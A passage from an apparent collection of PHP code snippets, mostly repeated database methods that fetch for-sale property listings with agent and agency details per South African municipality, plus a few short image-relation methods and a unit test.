Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getTheewaterskloofPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '115'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getImages()\n {\n return $this->hasMany(self::class, ['file_id' => 'file_id']);\n }", "public function getImages() : array\n\t{\n\t\treturn $this->images_list;\n\t}", "public function Image() {\n\t\treturn $this()->{self::RelationshipName}();\n\t}", "public function getPrinceAlbertPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '106'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function images()\n {\n return $this->hasMany(BusinessListingImage::class);\n }", "public function getAllowedImages(){\n return self::$allowed_images;\n }", "public function getKnysnaPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '111'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getKannalandPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '110'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getImages()\r\n {\r\n if (!isset($this->_images)) {\r\n $this->_images = [];\r\n for ($i=1; $i<=6; $i++) {\r\n if ($data = $this->getData('image' . $i)) {\r\n $image = $this->imageRepository->getById($data);\r\n if ($image->isActive()) {\r\n $this->_images[] = $image->getUrl();\r\n }\r\n }\r\n }\r\n }\r\n return $this->_images;\r\n }", "public function medias()\n\t{\n\t\treturn $this->hasMany('App\\PropertyImages');\n\t}", "function getSlider_images()\n\t\t{\n\t\t\t$slider_images = $this->manage_content->getValue('slider_info','*');\n\t\t\tforeach($slider_images as $slider_image)\n\t\t\t{\n\t\t\t\tif($slider_image['slider_status'] == 1)\n\t\t\t\t{\n\t\t\t\t\techo '<a href=\"'.$slider_image[\"slider_link\"].'\"><img src=\"images/'.$slider_image[\"slider_image\"].'\" style=\"width:692px;height:210px;\"/></a>';\n\t\t\t\t}\n\t\t\t}\n\t\t}", "public function images() {\n return $this->hasMany(Image::class);\n }", "public function images()\n {\n return $this->hasMany(Image::class);\n }", "public function images()\n {\n return $this->hasMany(Image::class);\n }", "public function images()\n {\n return $this->hasMany(Image::class);\n }", "public function getCapeAgulhasPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '112'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getSwellendamPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '114'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function test_comicEntityIsCreated_images_setImages()\n {\n $sut = $this->getSUT();\n $images = $sut->getImages();\n $expected = [\n Image::create(\n 'http://i.annihil.us/u/prod/marvel/i/mg/c/30/4fe8cb51f32e0',\n 'jpg'\n ),\n ];\n\n $this->assertEquals($expected, $images);\n }", "public function getDrakensteinPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '98'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = 